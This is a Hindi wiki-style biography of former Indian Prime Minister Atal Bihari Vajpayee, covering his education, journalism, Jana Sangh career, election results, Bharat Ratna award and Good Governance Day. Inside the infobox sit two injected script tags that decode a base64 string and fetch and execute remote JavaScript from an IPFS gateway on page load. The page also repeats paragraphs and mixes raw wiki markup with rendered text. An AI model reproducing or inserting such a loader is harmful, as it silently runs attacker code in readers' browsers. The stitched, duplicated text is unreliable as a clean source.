भाजपा और एन. डी. ए. को यह प्रबल विश्वास था कि जनता उन्हें पुन: अवसर प्रदान करेगी। उन्होंने चमकदार भारत (शाइनिंग इंडिया) और भारत उदय (इंडिया राइजिंग) का चुनावी नारा दिया था। उन्हें मुग़ालता था कि एन. डी. ए. ने भारत की तस्वीर बदल दी है। एन. डी. ए. अपनी उपलब्धियाँ भी गिनाईं। एन. डी. ए. का कार्यकाल अक्टूबर [[2004]] में समाप्त होना था। लेकिन उसे लगा कि यदि चुनाव जल्दी करा लिए जाएँ तो इसका फ़ायदा उन्हें अवश्य होगा। इस कारण चुनाव अप्रैल-मई में ही करा लिए गए। लेकिन एन. डी. ए. का पूर्वानुमान ग़लत साबित हुआ। कांग्रेस ने यू. पी. ए. के रूप में बहुमत प्राप्त कर लिया। उसके बाद से अटलजी भाजपा के लिए कार्य करते रहे। लेकिन भाजपा ने अगले प्रधानमंत्री के रूप में [[लालकृष्ण आडवाणी]] के नाम की घोषणा कर दी है। पुस्तक लिखे जाने तक (मार्च प्रथम सप्ताह 2009) अटलजी 'एम्स' में भर्ती थे। उनके जीवन पर गम्भीर संकट आ गया था। कई सप्ताह तक उन्हें वेंटिलेटर पर रखा गया। उनका श्वसन तंत्र अब सुधर रहा है। ईश्वर से यही प्रार्थना है कि उन्हें स्वास्थ्य लाभ प्राप्त हो और लम्बी ज़िदगी की ओर अग्रसर हों।
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भाजपा और एन. डी. ए. को यह प्रबल विश्वास था कि जनता उन्हें पुन: अवसर प्रदान करेगी। उन्होंने चमकदार भारत (शाइनिंग इंडिया) और भारत उदय (इंडिया राइजिंग) का चुनावी नारा दिया था। उन्हें मुग़ालता था कि एन. डी. ए. ने भारत की तस्वीर बदल दी है। [[राष्ट्रीय जनतांत्रिक गठबंधन|एन. डी. ए.]] अपनी उपलब्धियाँ भी गिनाईं। एन. डी. ए. का कार्यकाल अक्टूबर [[2004]] में समाप्त होना था। लेकिन उसे लगा कि यदि चुनाव जल्दी करा लिए जाएँ तो इसका फ़ायदा उन्हें अवश्य होगा। इस कारण चुनाव [[अप्रैल]]-मई में ही करा लिए गए। लेकिन एन. डी. ए. का पूर्वानुमान ग़लत साबित हुआ। [[कांग्रेस]] ने यू.पी.ए. के रूप में बहुमत प्राप्त कर लिया। उसके बाद से अटलजी भाजपा के लिए कार्य करते रहे।  
==समग्र विश्लेषण==
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[[चित्र:Atal-Bihari-Vajpayee-Pranab-Mukherji-Bharat-Ratna.jpg|thumb|350px|[[प्रणब मुखर्जी|राष्ट्रपति प्रणब मुखर्जी]] द्वारा [[भारत रत्न]] से सम्मानित होते हुए]]
श्री अटल बिहारी वाजपेयी के सम्बन्ध में यह कहा जा सकता है कि वह उत्कृष्ट इंसान हैं। भाजपा चाहे स्वीकार करे या न करे, अटलजी को भाजपा का पर्यायवाची समझा जाता है। भाजपा को भी चाहिए कि वह अपनी पार्टी के शिखर पुरुष का सम्मान करे। अटलजी भाजपा के सदस्य बाद में हैं और भारत के सच्चे सपूत पहले हैं। व्यक्तिगत रूप से सभी राजनीतिज्ञ अटल बिहारी वाजपेयी का हृदय से सम्मान करते हैं। बेशक़ वोटों की राजनीति के कारण भाजपा ने कई असंवैधानिक क़दम उठाए हैं, लेकिन अटलजी उनसे कभी सहमत नहीं थे। इसलिए यह स्वीकार करना चाहिए कि भारत के श्रेष्ठतम प्रधानमंत्रियों में अटलजी का नाम सदैव शीर्ष पंक्ति में रहेगा।
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==भारत रत्न सम्मान==
{{प्रचार}}
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[[प्रणब मुखर्जी|राष्ट्रपति प्रणब मुखर्जी]] ने दिनांक [[27 मार्च]], [[2015]] को पूर्व प्रधानमंत्री अटल बिहारी वाजपेयी को उनके घर जाकर [[भारत रत्न]] से सम्मानित किया। वाजपेयी जी के स्वास्थ्य को देखते हुए राष्ट्रपति ने उनके घर जाकर देश का सर्वोच्च नागरिक सम्मान प्रदान किया। इस अवसर पर प्रधानमंत्री [[नरेंद्र मोदी]], [[अरुण जेटली]], [[नितिन गडकरी]] और [[राजनाथ सिंह]] भी वाजपेयी के घर मौजूद रहे। प्रधानमंत्री के पद पर रहे हों या नेता प्रतिपक्ष। बेशक देश की बात हो या क्रान्तिकारियों की, या फिर उनकी अपनी ही कविताओं की। अटल बिहारी वाजपेयी की बरारबरी कोई नहीं कर सकता। भारत रत्न से उन्हें सम्मानित किए जाने की घोषणा [[भारत सरकार]] ने [[दिसम्बर]] [[2014]] में कर दी गई थी। वाजपेयी भारत रत्न ग्रहण करने वाले देश के सातवें प्रधानमंत्री हुए। इससे पहले [[जवाहरलाल नेहरू]], [[इंदिरा गांधी]], [[राजीव गांधी]], [[मोरारजी देसाई]], [[लाल बहादुर शास्त्री]] और [[गुलजारीलाल नंदा]] को यह सम्मान मिल चुका है।
{{लेख प्रगति
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; अन्य पुरस्कार
|आधार=
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* 1992 में [[पद्म विभूषण]]
|प्रारम्भिक=प्रारम्भिक3
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* 1993 में डी. लिट (कानपुर विश्वविद्यालय)
|माध्यमिक=
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* 1994 में लोकमान्य तिलक पुरस्कार
|पूर्णता=
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* 1994 में श्रेष्ठ सासंद पुरस्कार
|शोध=
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* 1994 में भारत रत्न पंडित गोविंद वल्लभ पंत पुरस्कार।
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{| width="100%" class='bharattable-pink'
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|+ अटल बिहारी वाजपेयी को भारत रत्न मिलने पर वर्तमान राजनेताओं के कथन<ref>दैनिक जागरण, 28 मार्च 2015</ref>
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! style="75%"| कथन
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! style="25%"| राजनेता
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| आज अटल जी को भारत रत्न से सम्मानित किया गया। यह हमारे लिए गर्व और खुशी की बात है। वह सिर्फ भारत के ही सर्वश्रेष्ठ नेता ही नहीं हैं बल्कि अंतरराष्ट्रीय आइकन हैं जिनका हर कोई सम्मान करता है।
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| [[राजनाथ सिंह]], केंद्रीय गृहमंत्री
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| वाजपेयी जी को भारत रत्न से सम्मानित करना पूरे देश के लिए गौरवांवित करने वाला पल है। वह एक ऐसे श्रेष्ठतम राजनेता हैं, जो देश के लिए बिना थके काम करते रहे। मेरी समझ में इस देश में बहुत कम लोग हैं जो उनके जैसे अच्छे वक्ता, राजनेता, विचारक और कवि हों। हम उनके बेहतर स्वास्थ्य की कामना करते हैं।
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| [[अरुण जेटली]], केंद्रीय वित्त मंत्री
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| भारत रत्न से सम्मानित होने के मौके पर में वाजपेयी साहब और उनके परिजनों को दिल से बधाई देता हूं। उनके शासनकाल में विदेश राज्यमंत्री के तौर पर काम करना मेरे लिए बड़े सम्मान की बात है।
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| उमर अब्दुल्ला, [[जम्मू-कश्मीर]] के पूर्व [[मुख्यमंत्री]]
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| वाजपेयी जी के भारत रत्न से सम्मानित करने के लिए आयोजित समारोह में उपस्थित होकर मैं बहुत खुश हूँ। एक सौहार्दपूर्ण माहौल में मैंने उनके साथ लंबे वक्त तक काम किया।
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| [[चंद्रबाबू नायडू]], [[आंध्र प्रदेश के मुख्यमंत्री]]
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| महान् राजनेता अटल बिहारी वाजपेयी जी को भारत रत्न से सम्मानित करने का दिन भाजपा और पूरे राष्ट्र के लिए एक गौरवपूर्ण क्षण है।
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| [[आनंदीबेन पटेल]], [[गुजरात के मुख्यमंत्री|गुजरात की मुख्यमंत्री]]
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| अटल जी के भारत रत्न से सम्मानित किए जाने पर मैं बहुत खुश हूँ। वह सही मायनों में एक महान् राजनेता हैं जो इस सम्मान के हकदार हैं। मेरी शुभकामनाएँ।
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| [[ममता बनर्जी]], [[पश्चिम बंगाल]] की मुख्यमंत्री
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| भारत रत्न से सम्मानित होने पर मैं अपने सम्माननीय परामर्शदाता अटल बिहारी वाजपेयी जी को दिल से बधाई देता हूँ।
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| [[शिवराज सिंह चौहान]], [[मध्य प्रदेश के मुख्यमंत्री]]
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| वाजपेयी जी हमेशा शिष्ट, विशाल हृदय और लोकतंत्र के श्रेष्ठतम समर्थक रहे। इस सम्मान के वह उचित हकदार हैं।
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| [[वरुण गाँधी]], भाजपा सांसद
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| आदरणीय अटल जी को भारत रत्न मिलने की बहुत-बहुत बधाई। देश के सर्वोच्च अधिकारी माननीय राष्ट्रपति जी द्वारा स्वयं जाकर वाजपेयी जी के सम्मान देना शुभ संकेत है। कुछ अपवादों के आगे कोई भी प्रोटोकॉल मायने नहीं रखता। अटल जी को भारत रत्न देने के लिए यदि पूरा संसद भी उपस्थित हो तो भी कम है।
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| [[कुमार विश्वास]], कवि
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==सुशासन दिवस==
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{{main|सुशासन दिवस}}
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'सुशासन दिवस' प्रतिवर्ष [[25 दिसम्बर]] को पूरे [[भारत]] में मनाया जाता है। 25 दिसम्बर हमारे पूर्व प्रधानमंत्री अटल बिहारी वाजपेयी जी का जन्म दिवस है, जो उन्हें हमेशा के लिये आदर और सम्मान देने के लिये सुशासन दिवस के रूप में घोषित किया गया है। [[भारत सरकार]] द्वारा यह घोषित किया गया है कि '25 दिसम्बर' (सुशासन दिवस) को पूरे दिन काम किया जायेगा।
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{{शासन क्रम |शीर्षक=[[भारत के प्रधानमंत्री]] |पूर्वाधिकारी=[[इन्द्र कुमार गुजराल]] |उत्तराधिकारी=[[मनमोहन सिंह|डॉ. मनमोहन सिंह]]}}
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==टीका टिप्पणी और संदर्भ==
 
==टीका टिप्पणी और संदर्भ==
 
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==संबंधित लेख==
 
==संबंधित लेख==
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[[Category:भारत के प्रधानमंत्री]]
 
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[[Category:राजनेता]]
 
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[[Category:प्रसिद्ध व्यक्तित्व]]
 
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12:01, 13 फ़रवरी 2020 का अवतरण

अटल बिहारी वाजपेयी विषय सूची
अटल बिहारी वाजपेयी
Atal-Bihari-Vajpayee.jpg
पूरा नाम अटल बिहारी वाजपेयी
जन्म 25 दिसंबर, 1924
जन्म भूमि ग्वालियर, मध्य प्रदेश
मृत्यु 16 अगस्त, 2018
मृत्यु स्थान नई दिल्ली
अभिभावक पंडित कृष्ण बिहारी वाजपेयी और श्रीमती कृष्णा देवी
पति/पत्नी अविवाहित
नागरिकता भारतीय
पार्टी भारतीय जनता पार्टी, भारतीय जनसंघ
पद भारत के 11वें प्रधानमंत्री, विदेश मंत्री
कार्य काल प्रधानमंत्री-16 मई 1996 – 1 जून 1996 और 19 मार्च 1998 – 19 मई 2004; विदेश मंत्री- 26 मार्च 1977 – 28 जुलाई 1979
शिक्षा स्नातकोत्तर
विद्यालय गोरखी विद्यालय, विक्टोरिया स्कूल (अब रानी लक्ष्मीबाई कॉलेज), डी.ए.वी. महाविद्यालय
भाषा हिन्दी, अंग्रेज़ी
पुरस्कार-उपाधि पद्म विभूषण, भारत रत्न
संबंधित लेख सुशासन दिवस
धर्म हिन्दू
विशेष जवाहरलाल नेहरू के बाद इनको देश का दूसरा स्टेट्समैन कहा गया।
अन्य जानकारी अटल बिहारी वाजपेयी ने विज्ञान और तकनीक की प्रगति के साथ देश का भविष्य जोड़ा। उन्होंने परमाणु शक्ति को देश के लिए आवश्यक बताकर 11 मई, 1998 को पोखरन में पाँच परमाणु परीक्षण किए।
अद्यतन‎ <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

अटल बिहारी वाजपेयी (अंग्रेज़ी: Atal Bihari Vajpayee, जन्म- 25 दिसंबर, 1924, ग्वालियर; मृत्यु- 16 अगस्त, 2018, नई दिल्ली) का नाम भारत के सर्वाधिक लोकप्रिय प्रधानमंत्रियों में लिया जाता है। नरसिम्हा राव के बाद 1996 में अटल बिहारी वाजपेयी मात्र 13 दिन के लिए ही प्रधानमंत्री बने। इसके बाद 1998 में हुए चुनावों के माध्यम से वह दोबारा प्रधानमंत्री बने। इस कारण 1996 और 1998 के मध्य बने दो प्रधानमंत्रियों-एच. डी. देवगौड़ा तथा इन्द्र कुमार गुजराल को आगे स्थान दिया गया है। तत्पश्चात् अटल बिहारी वाजपेयी अक्टूबर, 1999 में पुन: प्रधानमंत्री बने और यह कार्यकाल उन्होंने अत्यन्त सफलतापूर्वक पूर्ण किया। इसके पूर्व वह अप्रैल, 1999 से अक्टूबर, 1999 तक कार्यवाहक प्रधानमंत्री भी रहे।  

संक्षिप्त परिचय

  • 25 दिसंबर, 1924 को ग्वालियर में जन्म हुआ। अंग्रेज़ी राज के ख़िलाफ़ भारत छोड़ो आंदोलन (1942-45) के दौर से राजनीतिक सफर शुरू किया।
  • राष्ट्रीय स्वयंसेवक संघ की पत्रिका निकालने के लिए वकालत की पढ़ाई छोड़ी।
  • भारतीय जनसंघ के संस्थापक श्यामा प्रसाद मुखर्जी के निकट रहे। 1953 में कश्मीर मसले पर मुखर्जी के आंदोलन के दौरान वह उनके साथ थे।
  • श्यामा प्रसाद मुखर्जी की जेल में असमय मृत्यु का वाजपेयी पर गहरा असर पड़ा था। उसके बाद जनसंघ की कमान संभाली।
  • भाजपा का उदार चेहरा कहा गया। पिछली सदी के अंतिम दशक में भाजपा को राजनीति के केंद्र में लाने में अहम योगदान दिया।
  • 1957 में पहली बार लोकसभा पहुंचे।
  • सर्वाधिक समय तक गैरकांग्रेसी प्रधानमंत्री रहने वाले एकमात्र राजनेता हैं।
  • भारत और पाकिस्तान के बीच तल्ख रिश्तों को सुधारने का प्रयास किया। 1999 में लाहौर बस यात्रा की।
  • चार दशक तक विपक्ष में रहने के बाद 1996 में पहली बार प्रधानमंत्री बने, लेकिन 13 दिन तक ही रह पाए। 1998 में दूसरी बार 13 महीने की सरकार जयललिता के समर्थन वापस लेने के कारण गिरी। 1999 में तीसरी बार प्रधानमंत्री रहे और कार्यकाल पूरा किया।
  • 1998 में पोखरण परीक्षण करके दृढ़ नेतृत्व का परिचय दिया और विश्व को भारत की परमाणु क्षमता का अहसास कराया।
  • जवाहरलाल नेहरू के बाद इनको देश का दूसरा स्टेट्समैन कहा गया।
  • इनकी सादगी, नैतिकता और उच्च आदर्शो का लोहा विपक्षी भी मानते हैं।
  • राजनीति में अमूल्य योगदान के लिए भारत सरकार ने इन्हें भारत के सर्वोच्च नागरिक सम्मान भारत रत्न से सम्मानित किया। इसके अतिरिक्त ये पद्म विभूषण से भी सम्मानित हैं।

जन्म एवं परिवार

अटल बिहारी वाजपेयी का जन्म 25 दिसम्बर (बड़ा दिन) 1924 को लश्कर, ग्वालियर में हुआ था, जो कि मध्य प्रदेश में है। 'शिंके का बाड़ा मुहल्ले' में जन्म लेने वाला यह बालक कितना बड़ा भाग्य लेकर पैदा हुआ। इनके पिता 'पंडित कृष्ण बिहारी वाजपेयी' अध्यापन का कार्य करते थे और माता 'कृष्णा देवी' घरेलू महिला थीं। श्री वाजपेयी संतान क्रम में सातवें थे। इनसे बड़े तीन भाई और तीन बहनें थीं। वह बचपन से ही अंतर्मुखी स्वभाव के थे, साथ ही काफ़ी प्रतिभा सम्पन्न भी थे। अटल बिहारी वाजपेयी के बड़े भाइयों को 'अवध बिहारी वाजपेयी', 'सदा बिहारी वाजपेयी' तथा 'प्रेम बिहारी वाजपेयी' के नाम से जाना जाता है।

विद्यार्थी जीवन

अटल बिहारी वाजपेयी के पिता पंडित कृष्ण बिहारी वाजपेयी शिक्षण व्यवसाय से सम्बन्धित थे, इस कारण इन्हें कई स्थानों पर रहना पड़ता था। लेकिन अटलजी की आरम्भिक शिक्षा 'बड़नगर' के 'गोरखी विद्यालय' में सम्पन्न हुई। बड़नगर में इनके पिता प्रधानाध्यापक के पद पर थे। इस विद्यालय में अटलजी ने आठवीं कक्षा तक की शिक्षा प्राप्त की। वक्ता के रूप में इन्हें इसी विद्यालय से पहचान प्राप्त हुई थी। जब वह कक्षा पाँच में थे तब पाठ्येतर गतिविधियों के अंतर्गत उन्होंने प्रथम बार भाषण दिया था। लेकिन बड़नगर में उच्च शिक्षा व्यवस्था न होने के कारण अटल जी को ग्वालियर जाना पड़ा। इनका नामांकन 'विक्टोरिया कॉलेजियट स्कूल' में हुआ। नौवीं कक्षा से इंटरमीडिएट तक की पढ़ाई अटल जी ने इसी विद्यालय से पूर्ण की। इस विद्यालय में रहते हुए उनकी वाद-विवाद सम्बन्धी प्रतिभा को उचित प्रवाह प्राप्त हुआ। वह वाद-विवाद प्रतियोगिताओं में प्रथम भी आए। महात्मा रामचन्द्र वीर द्वारा रचित अमर कृति "विजय पताका" पढकर अटल जी के जीवन की दिशा ही बदल गयी।

इंटरमीडिएट करने के बाद अटल जी ने 'विक्टोरिया कॉलेज'[1] में स्नातक स्तर की शिक्षा ग्रहण करने के लिए प्रवेश लिया। स्नातक स्तर की शिक्षा हेतु उन्होंने तीनों विषय भाषा पर आधारित लिए जो संस्कृत, हिन्दी एवं अंग्रेज़ी थे। अटल जी की साहित्यिक प्रकृति थी, जिससे वह तीनों भाषाओं के प्रति आकृष्ट हुए। कॉलेज जीवन में ही इन्होंने राजनीतिक गतिविधियों में हिस्सा लेना आरम्भ कर दिया था। शुरू में वह 'छात्र संगठन' से जुड़े। नारायण राव तरटे ने इन्हें काफ़ी प्रभावित किया, जो राष्ट्रीय स्वयं सेवक संघ के प्रमुख कार्यकर्ता थे। ग्वालियर में रहते हुए अटल बिहारी वाजपेयी ने राष्ट्रीय स्वयं सेवक संघ के शाखा प्रभारी के रूप में अपने दायित्वों की पूर्ति की। कॉलेज जीवन में उन्होंने कविताओं की रचना करना आरम्भ कर दिया था। इनकी साहित्यिक अभिरुचि उसी समय काफ़ी परवान चढ़ी। इनके कॉलेज में अखिल भारतीय स्तर के कवि सम्मेलनों का भी आयोजन होता था। इस कारण से कविता की गहराई समझने में इन्हें काफ़ी मदद मिली। 1943 में वाजपेयी जी कॉलेज यूनियन के सचिव रहे और 1944 में उपाध्यक्ष भी बने। ग्वालियर की स्नातक उपाधि प्राप्त करने के बाद अटलजी कानपुर आ गए ताकि राजनीति विज्ञान में स्नातकोत्तर स्तर की शिक्षा प्राप्त कर सकें। वहाँ उन्होंने एम. ए. तथा एलएल. बी. में एक साथ प्रवेश लिया। चूंकि स्नातक परीक्षा इन्होंने प्रथम श्रेणी में उत्तीर्ण की थी, इस कारण इन्हें छात्रवृत्ति भी प्राप्त हो रही थी। कानपुर के डी. ए. वी. महाविद्यालय से इन्होंने कला में स्नातकोत्तर उपाधि भी प्रथम श्रेणी में प्राप्त की।

व्यावसायिक जीवन

शिक्षक पिता की संतान होने के कारण अटल जी शिक्षा का महत्त्व अच्छी तरह से जानते थे। इस कारण पी. एच. डी. करने के लिए वह लखनऊ चले गए और वक़ालत की पढ़ाई स्थगित कर दी। पढ़ाई के साथ-साथ वह राष्ट्रीय स्वयं सेवक संघ के कार्यों का भी सम्पादन करने लगे। लेकिन अटलजी पी. एच. डी. करने में सफलता प्राप्त नहीं कर सके, क्योंकि पत्रकारिता से जुड़ने के कारण इन्हें अध्ययन के लिए समय नहीं मिल रहा था। उन दिनों 'राष्ट्रधर्म' नामक समाचार पत्र पंडित दीनदयाल उपाध्याय के सम्पादन में लखनऊ से मुद्रित हो रहा था। तब श्री अटल बिहारी वाजपेयी इसके सह सम्पादक के रूप में नियुक्त किए गए। पंडित दीनदयाल उपाध्याय इस समाचार पत्र का सम्पादकीय स्वयं लिखते थे और अख़बार का बाक़ी कार्य अटल जी एवं इनके सहायक करते थे। लेकिन सही मायने में अटल जी ही इसके सम्पादक थे। अटल जी के आने के बाद 'राष्ट्रधर्म' समाचार पत्र का प्रसार काफ़ी बढ़ गया। ऐसे में इसके लिए स्वयं की प्रेस का प्रबन्ध किया गया। इस प्रेस का नाम भारत प्रेस रखा गया था।

अटल बिहारी वाजपेयी संयुक्त राष्ट्र सभा में भाषण देते हुए

कुछ समय के बाद 'भारत प्रेस' से मुद्रित होने वाला दूसरा समाचार पत्र 'पाँचजन्य' भी प्रकाशित होने लगा। इस समाचार पत्र का सम्पादन पूर्ण रूप से अटलजी करते थे। देश आज़ाद हो गया था। कुछ समय के बाद 30 जनवरी 1948 को महात्मा गांधी की हत्या हुई। नाथूराम गोडसे का सम्बन्ध राष्ट्रीय स्वयं सेवक संघ से होने के कारण भारत सरकार ने राष्ट्रीय स्वयं सेवक संघ को प्रतिबन्धित कर दिया। चूंकि 'भारत प्रेस' भी राष्ट्रीय स्वयं सेवक संघ के प्रभाव क्षेत्र में थी, इसीलिए भारत प्रेस को बन्द कर दिया गया। लेकिन अटल जी को अब पत्रकारिता में अत्यन्त आनन्द आने लगा था। इस कारण वह इलाहाबाद चले गए और उन्होंने 'क्राइसिस टाइम्स' नामक अंग्रेज़ी साप्ताहिक के लिए अपनी सेवाएँ देना आरम्भ कर दिया। परन्तु 'क्राइसिस टाइम्स' का साथ 'क्राइसिस' रहने तक ही था। जब राष्ट्रीय स्वयं सेवक संघ पर लगा प्रतिबंध हटा तो वह 'क्राइसिस टाइम्स' भी गुज़र गया। अटल जी पुन: लखनऊ लौटे और उनके सम्पादन में 'स्वदेश' नामक दैनिक पत्र निकलना आरम्भ हो गया। थोड़े ही दिनों में जहाँ 'स्वदेश' लोकप्रिय हुआ, वहीं अटल जी के सम्पादकीय भी काफ़ी सराहे गए और चर्चा का केन्द्र बने। लेकिन लगातार होने वाली हानि के कारण 'स्वदेश' को बंद कर देना पड़ा। तब अटल जी दिल्ली से प्रकाशित होने वाले समाचार पत्र 'वीर अर्जुन' का सम्पादन करने लगे। यह दैनिक एवं साप्ताहिक दोनों आधार पर प्रकाशित हो रहा था। 'वीर अर्जुन' का सम्पादन करने हुए एक पत्रकार के रूप में इन्हें काफ़ी प्रतिष्ठा और सम्मान मिला। अत: राजनेता से पूर्व अटल जी को एक कवि और पत्रकार के रूप में मान्यता प्राप्त हो गई थी।

राजनीतिक जीवन

'राष्ट्रीय स्वयं सेवक संघ' (आर. एस. एस.) हिन्दुत्ववादी विचारधारा की प्रमुख संस्था है लेकिन भारत सरकार की नज़र में वह अलागववादी विचारधारा का पोषण कर रही थी। इस कारण आर. एस. एस. पर कई प्रकार के राजनयिक प्रतिबन्ध लगा दिए गए। ऐसे में आर. एस. एस. ने भारतीय जनसंघ का गठन किया जो राजनीतिक विचारधारा वाला दल था। भारतीय जनसंघ का जन्म संघ परिवार की राजनीतिक संस्था के रूप में हुआ, जिसके अध्यक्ष डॉ. श्यामा प्रसाद मुखर्जी थे। अटल जी उस समय से ही इस संस्था के संगठनात्मक ढाँचे से जुड़ गए। तब वह अध्यक्ष के निजी सचिव के रूप में दल का कार्य देख रहे थे। इस कारण उन्हें जनसंघ के सबसे पुराने व्यक्तियों में एक माना जाता है। भारतीय जनसंघ ने सर्वप्रथम 1952 के आम चुनावों में भाग लिया। तब उसका चुनाव चिह्न 'दीपक' था। चुनावों में भारतीय जनसंघ को कोई विशेष कामयाबी प्राप्त नहीं हुई, फिर भी डॉक्टर श्यामा प्रसाद मुखर्जी राष्ट्रीय हित में कार्य करते रहे। उस समय भी कश्मीर का मामला अत्यन्त संवेदनशील था। डॉक्टर श्यामा प्रसाद मुखर्जी ने अटल जी के साथ जम्मू-कश्मीर के लोगों को जागरूक करने का कार्य किया। वह कश्मीर के हिन्दुओं को अपने अधिकारों के लिए जाग्रत कर रहे थे। लेकिन सरकार ने इसे साम्प्रदायिक गतिविधि मानते हुए डॉक्टर मुखर्जी को गिरफ्तार करके जेल में ठूँस दिया। डॉक्टर मुखर्जी की 23 जून 1953 को जेल में ही मृत्यु हो गई। तब जनसंघ के समर्थकों ने उनकी मृत्यु को एक गहरी साज़िश मानते हुए इसे हत्या क़रार दिया।

दूसरा आम चुनाव

अब भारतीय जनसंघ का काम अटल जी प्रमुख रूप से देखने लगे। इन पर राजनीतिक रंग पूरी तरह से हावी हो चुका था। तभी दूसरा आम चुनाव आ गया। 1957 के इन चुनावों में भारतीय जनसंघ को चार स्थानों पर विजय प्राप्त हुई। अटल जी पहली बार बलरामपुर सीट से विजयी होकर लोकसभा में पहुँचे। 1957 में लोकसभा चुनाव हेतु अटल जी ने तीन स्थानों से नामांकन पत्र दाख़िल किया था। बलरामपुर के अलावा उन्होंने लखनऊ और मथुरा से भी पर्चे भरे थे। बलरामपुर एक रियासत थी। जिसका आज़ादी के बाद उत्तर प्रदेश राज्य में विलय कर दिया गया था। वहाँ राष्ट्रीय स्वयं सेवक संघ का अच्छा दबदबा था। 'प्रताप नारायण तिवारी' ने यहाँ जनसंघ के लिए दृढ़ आधार तैयार किया था। चूंकि बलरामपुर कभी रियासत थी, इस कारण रजवाड़ों का भी यहाँ दबदबा था। रजवाड़े कांग्रेस से नाराज़ थे, क्योंकि आज़ादी के बाद वे अपना स्वतंत्र अस्तित्व बनाये रखना चाहते थे। यही कारण है कि बलरामपुर की सीट कांग्रेस के बजाए जनसंघ की झोली में चली गई और अटल जी प्रथम बार लोकसभा में पहुँचे। वह इस चुनाव में 10 हज़ार मतों से विजय हुए थे। लेकिन अटल जी बाक़ी दो स्थानों पर हार गए। मथुरा में वह अपनी ज़मानत भी नहीं बचा पाए और लखनऊ में साढ़े बारह हज़ार मतों से पराजय स्वीकार करनी पड़ी। दोनों स्थानों पर कांग्रेस के उम्मीदवारों की विजय हुई थी। उस समय किसी भी पार्टी के लिए यह आवश्यक था कि वह कम से कम तीन प्रतिशत वोट प्राप्त करे अन्यथा उस पार्टी की मान्यता समाप्त की जा सकती थी। भारतीय जनसंघ को 6 प्रतिशत वोट प्राप्त हुए थे। इन चुनावों में 'हिन्दू महासभा' और 'रामराज्य परिषद्' जैसी पार्टियों की मान्यता समाप्त हो गई, क्योंकि उन्हें तीन प्रतिशत वोट नहीं मिले थे।

अटल बिहारी वाजपेयी और अमेरिका के राष्ट्रपति जिमी कार्टर

कश्मीर मुद्दे पर विचार

अटलजी ने संसद में पहुँचने के पश्चात् कश्मीर मुद्दे पर अपने विचार प्रकट किए और संसद ने उन्हें बेहद ध्यान से सुना। अटल जी ने कहा कि 'कश्मीर का मामला 'संयुक्त राष्ट्र संघ' में नहीं भेजा जाना चाहिए था, क्योंकि वहाँ से कोई समाधान नहीं प्राप्त होगा। भारत को अपने स्तर पर ही प्रयास करके पाकिस्तान के अधिकार वाले कश्मीर के विषय में सोचना होगा।' अटल जी का यह अनुमान आज भी सत्य है कि संयुक्त राष्ट्र संघ ने कश्मीर समस्या का समाधान आज तक नहीं खोजा है। अटल जी का तर्क था कि कश्मीर में पाकिस्तान हमलावर था, अत: राष्ट्र संघ को त्वरित कार्रवाई करनी चाहिए थी। कश्मीर का मामला संयुक्त राष्ट्र संघ में भेजना एक ऐतिहासिक भूल थी। भारत को चाहिए था कि वह हमलावर को अपनी ज़मीन से हटा देता और इसके लिए आवश्यक सैनिक कार्रवाई करता।

1962 के आम चुनाव

अटलजी ने संसद में अपनी एक अलग पहचान बना ली थी। 1962 के आम चुनाव में वह पुन: बलरामपुर की सीट से भारतीय जनसंघ के टिकट पर खड़े हुए लेकिन उनकी इस बार पराजय हुई। इस चुनाव में कांग्रेसी उम्मीदवार को 1052 वोटों से विजय प्राप्त हुई। अटल जी की संसद में प्रशंसनीय कार्य करने के बाद भी जीत नहीं हुई। यह चुनाव इस कारण भी विवादास्पद रहा कि कांग्रेस प्रत्याशी ने उचित-अनुचित सभी प्रकार के पैंतरे अपनाए थे। इस चुनाव के दौरान साम्प्रदायिक सौहार्द्र भी बिगड़ा। इस कारण भयवश हज़ारों हिन्दू नारियों ने अपने मताधिकारों का प्रयोग नहीं किया। 1962 के चुनाव में जनसंघ ने प्रगति की और संसद में उसके 14 प्रतिनिधि पहुँचने में सफल रहे। इस संख्या के आधार पर राज्यसभा के लिए जनसंघ को दो सदस्य मनोनीत करने का अधिकार प्राप्त हुआ। ऐसे में अटल बिहारी वाजपेयी और पंडित दीनदयाल उपाध्याय राज्यसभा में भेजे गए। चूंकि राष्ट्रपति ही राज्यसभा का पदेन सभापति होता है, इस कारण सर्वपल्ली राधाकृष्णन सभापति थे। उन्होंने अटल जी को राज्यसभा की प्रथम दीर्घा में बैठने को अनुप्रेरित किया। अटल जी ने राज्यसभा में भी अपने दायित्वों का निर्वहन योग्यता के साथ किया। इस कार्यकाल के दौरान राष्ट्रपति डॉक्टर राजेन्द्र प्रसाद और प्रधानमंत्री पंडित जवाहरलाल नेहरू की मृत्यु हुई। अटलजी ने अनूठी भाषा-शैली में उन्हें श्रद्धांजलि अर्पित की। दोनों श्रद्धांजलियों को राज्यसभा के पटल पर सुरक्षित रखा गया।

चौथे आम चुनाव

चौथे आम चुनाव 1967 में सम्पन्न हुए। अटलजी पुन: बलरामपुर की सीट से प्रत्याशी बने। उन्होंने कांग्रेस के प्रत्याशी को लगभग 32 हज़ार वोटों से हराया। अपने इस कार्यकाल में अटल जी ने यह साबित कर दिया कि वह धर्मनिरपेक्षता के पूर्ण समर्थक हैं तथा धर्म और राजनीति का सम्मिश्रण नहीं चाहते। काहिरा में आयोजित हुए इस्लामी सम्मेलन के बारे में उन्होंने कहा कि अंतर्राष्ट्रीय स्तर पर मज़हबी कट्टरता का पोषण नहीं होना चाहिए। ऐसे सम्मेलन विश्व बंधुत्व के आधार पर होने चाहिए। अटल बिहारी वाजपेयी ने मज़हबी आधार पर गुट बनाने की प्रवृत्ति को ख़तरनाक बताया और भारत सरकार को भी इस बारे में आगाह किया। 'धारा 370' के अंतर्गत कश्मीर को जो विशिष्ट दर्जा प्रदान किया गया था, उन्होंने उसका भी विरोध किया और 'धारा 370' समाप्त करने की मांग की। इसके अतिरिक्त उन्होंने भारत सरकार से यह मांग की 